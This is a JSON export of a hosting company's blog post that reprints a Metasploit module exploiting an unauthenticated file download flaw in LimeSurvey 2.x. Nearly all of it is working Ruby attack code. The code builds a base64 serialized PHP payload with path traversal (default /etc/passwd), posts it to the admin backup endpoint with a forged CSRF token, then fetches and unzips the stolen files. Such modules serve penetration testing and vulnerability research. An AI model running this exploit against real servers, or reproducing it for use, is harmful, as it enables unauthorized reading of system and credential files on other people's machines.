{"id":59309,"date":"2024-09-01T00:49:52","date_gmt":"2024-08-31T21:49:52","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180855\/limesurvey_file_download.rb.txt"},"modified":"2024-09-01T00:49:52","modified_gmt":"2024-08-31T21:49:52","slug":"limesurvey-unauthenticated-file-download","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/limesurvey-unauthenticated-file-download\/","title":{"rendered":"Limesurvey Unauthenticated File Download"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p># for extracting files<br \/>require &#8216;zip&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Limesurvey Unauthenticated File Download&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an unauthenticated file download vulnerability<br \/>in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded<br \/>as a ZIP and unzipped automatically, thus binary files can be downloaded.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Pichaya Morimoto&#8217;, # Vulnerability Discovery<br \/>&#8216;Christian Mehlmauer&#8217; # Metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/sec-consult.com\/vulnerability-lab\/advisory\/multiple-critical-vulnerabilities-in-lime-survey\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.limesurvey.org\/blog\/22-security\/136-limesurvey-security-advisory-10-2015&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/LimeSurvey\/LimeSurvey\/compare\/2.06_plus_151014&#8230;2.06_plus_151016?w=1&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2015-10-12&#8217;<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(80),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to the limesurvey installation&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;FILEPATH&#8217;, [true, &#8216;Path of the file to download&#8217;, &#8216;\/etc\/passwd&#8217;]),<br \/>OptInt.new(&#8216;TRAVERSAL_DEPTH&#8217;, [true, &#8216;Traversal depth&#8217;, 15])<br \/>])<br \/>end<\/p>\n<p>def filepath<br \/>datastore[&#8216;FILEPATH&#8217;]end<\/p>\n<p>def traversal_depth<br \/>datastore[&#8216;TRAVERSAL_DEPTH&#8217;]end<\/p>\n<p>def payload<br \/>traversal = &#8216;\/..&#8217; * traversal_depth<br \/>file = &#8220;#{traversal}#{filepath}&#8221;<br \/>serialized = &#8216;a:1:{i:0;O:16:&#8221;CMultiFileUpload&#8221;:1:{s:4:&#8221;file&#8221;;s:&#8217; + file.length.to_s + &#8216;:&#8221;&#8216; + file + &#8216;&#8221;;}}&#8217;<br \/>Rex::Text.encode_base64(serialized)<br \/>end<\/p>\n<p>def unzip_file(zipfile)<br \/>zip_data = Hash.new<br \/>begin<br \/>Zip::File.open_buffer(zipfile) do |filezip|<br \/>filezip.each do |entry|<br \/>zip_data[::File.expand_path(entry.name)] = filezip.read(entry)<br \/>end<br \/>end<br \/>rescue Zip::Error =&gt; e<br \/>print_error(&#8220;Error extracting ZIP: #{e}&#8221;)<br \/>end<br \/>return zip_data<br \/>end<\/p>\n<p>def run<br \/>csrf_token = Rex::Text.rand_text_alpha(10)<\/p>\n<p>vars_post = {<br \/>&#8216;YII_CSRF_TOKEN&#8217; =&gt; csrf_token,<br \/>&#8216;destinationBuild&#8217; =&gt; Rex::Text.rand_text_alpha(5),<br \/>&#8216;datasupdateinfo&#8217; =&gt; payload<br \/>}<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri, &#8216;index.php&#8217;, &#8216;admin&#8217;, &#8216;update&#8217;, &#8216;sa&#8217;, &#8216;backup&#8217;),<br \/>&#8216;cookie&#8217; =&gt; &#8220;YII_CSRF_TOKEN=#{csrf_token}&#8221;,<br \/>&#8216;vars_post&#8217; =&gt; vars_post<br \/>})<\/p>\n<p>if res &amp;&amp; res.code == 200 &amp;&amp; res.body &amp;&amp; res.body.include?(&#8216;Download this file&#8217;)<br \/>match = res.body.match(%r{&lt;div class=&#8221;updater-background&#8221;&gt;\\s+&lt;p class=&#8221;success &#8221; style=&#8221;text-align: left;&#8221;&gt;\\s+&lt;strong&gt;[^&lt;]+&lt;\/strong&gt;\\s+&lt;br\/&gt;\\s+([^&lt;]+)&lt;br\/&gt;\\s+&lt;a class=&#8221;btn btn-success&#8221; href=&#8221;([^&#8221;]+)&#8221; title=&#8221;Download this file&#8221;&gt;Download this file&lt;\/a&gt;})<br \/>if match<br \/>local_path = match[1]download_url = match[2]print_status(&#8220;File saved to #{local_path}&#8221;)<br \/>print_status(&#8220;Downloading backup from URL #{download_url}&#8221;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; download_url<br \/>})<\/p>\n<p>if res &amp;&amp; res.code == 200<br \/>unzipped = unzip_file(res.body)<\/p>\n<p>unzipped.each do |filename, content|<br \/>print_good(&#8220;Filename: #{filename}&#8221;)<br \/>print_good(content)<\/p>\n<p>path = store_loot(<br \/>&#8216;limesurvey.http&#8217;,<br \/>&#8216;application\/octet-stream&#8217;,<br \/>rhost,<br \/>content,<br \/>filename<br \/>)<br \/>print_good(&#8220;File saved in: #{path}&#8221;)<br \/>end<br \/>else<br \/>print_error(&#8216;Failed to download file&#8217;)<br \/>end<br \/>else<br \/>print_error(&#8216;Failed to download file&#8217;)<br \/>end<br \/>else<br \/>print_error(&#8216;Failed to download file&#8217;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## # for extracting filesrequire &#8216;zip&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Limesurvey Unauthenticated File Download&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits an unauthenticated file download vulnerabilityin limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloadedas a ZIP and unzipped automatically, thus &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59309","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59309","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59309"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59309\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59309"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59309"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59309"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}